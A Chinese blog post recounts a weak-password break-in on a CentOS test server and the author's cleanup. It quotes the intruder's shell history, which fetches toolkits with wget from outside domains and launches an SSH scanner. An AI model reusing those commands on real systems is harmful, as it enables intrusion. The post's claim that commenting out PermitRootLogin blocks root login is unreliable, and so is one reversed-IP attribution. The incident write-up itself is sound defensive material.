Linux系统管理之 ssh 管理

 这是一个工作疏忽 -- 用户弱口令 造成失误。以此为戒。慎之又慎，网络安全容不得半点懈怠啊。

(原文链接 http://ddbiz.com/?p=227)

系统环境:

 

CentOS5.x (2.6.18-92.1.13.el5 #1 SMP)

 

今天偶然发现我的客户端使用 ToadMySQL 无法连接我的测试环境了。很是奇怪。报告的错误居然是在执行查询中服务器断开连接，从来没有发现过这种情况。ssh到服务器上，发现服务器响应很慢，一个 login 用了我差不多10秒。好像服务器出问题了。

首先检查了网络连接，系统中的网络连接出现大量的类似信息:

netstat -anlp | more

Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name
... ...

tcp        0     52 ::ffff:10.1.1.11:xxxx      ::ffff:202.219.1.5:22     ESTABLISHED  29487/pscan2
tcp        0      0 ::ffff:10.1.1.11:xxxx      ::ffff:218.10.12.51:22    ESTABLISHED  28801/pscan2
tcp        0      0 ::ffff:10.1.1.11:xxxx      ::ffff:219.68.111.47:22   ESTABLISHED  9201/pscan2
... ...

 

pscan2 ？我从来没有使用过，莫不是中木马了？

 

updatedb

locate pscan2

找到了，居然在 /dev/shm/xxx/xxx下。真中招了。/dev/shm/是我刚刚配置的为 php 的临时目录，主要是为了提升相应速度的。那么pscan2是如何传上来的？

 

/dev/shm/下我发现了上传上来的 一个 sc.tgz 文件，属性为

 

-rw-r--r-- 1 OfGdoc xxxx 2550904 Sep 30 04:19 sc.tgz

 

很显然，我的 OfGdoc 用户暴露在了外网。切换到 /home/OfGdoc 目录，查看一下脚本命令历史，果然不出所料：

more .bash_histor

 

w
ps x
cd
ls -a
locate vuln.txt
cd /tmp
ls -a
cat /proc/cpuinfo
passwd
cd /dev/shm
wget geocities.com/rootzfirehand/web.tgz
wget mafiotu.org/arhive/web.tgz
wget cipherz.icspace.net/web.tgz
wget coolfashion.trei.ro/web.tgz
wget coolfashion.trei.ro/sc.tgz
tar zxvf sc.tgz
cd delles
nohup ./start 220 >> /dev/null &
nohup ./start 200 >> /dev/null &
nohup ./start 203 >> /dev/null &

到此我才想起来，9月底因为公司的一个项目赶工，没办法，把测试服务器对外开放了一个晚上。看来当时就中招了。

因为ssh登路是有案底可查的，

 

who wtmp | uniq -w 20 -u | more

查看输出结果：

guest    pts/0        2008-09-27 01:09 (210.73.225.2)

...

Devjohn pts/1        2008-10-26 07:22 (acadb47b.ipt.aol.com)

...

OfGdoc pts/0        2008-11-09 02:52 (82.158.42.215.dyn.user.ono.com)

 

这3个登录都是成功的，查询这几个地址，显示如下:

 

IP:210.73.225.2
本站主数据：北京市 天广信息通信服务有限公司
参考数据一：北京市 天广信息通信服务有限公司
参考数据二：北京市 天广信息通信服务有限公司

acadb47b.ipt.aol.com

IP:172.173.180.123
本站主数据：美国
参考数据一：美国
参考数据二：美国

 

IP:215.42.158.82
本站主数据：美国 弗吉尼亚州国防部网络
参考数据一：美国 弗吉尼亚州国防部网络
参考数据二：美国 国防部网络(弗吉尼亚州)

网络上的黑客真是无所不在啊。

 

先做清除工作，为了保留这份不经意遗留的漏洞造成的困难，我把hacker的工作保留了下来，移到历史目录里，等有时间好好研究一下。

 

pkill pscan2

杀掉所有扫描进程。

 

 

妥善工作。

 

日后难免还有这种情况，测试服务器上毕竟有很多帐号，我还真是没办法时时强化管理。如果还需要对外开放端口的话，我应该限定指定的用户才能登录。那就需要配置一下 SSH 了

 

vi /etc/ssh/sshd_config

 

#注释掉这一行，禁止 root 登录

#PermitRootLogin yes

 

#加入这一行，仅仅允许指定的人登录

AllowUsers    Devjohn Devsam

 

保存后重启 sshd :

service sshd restart

 

现在暂时可以放些心了。

(原文链接 http://ddbiz.com/?p=227)

（未完待续）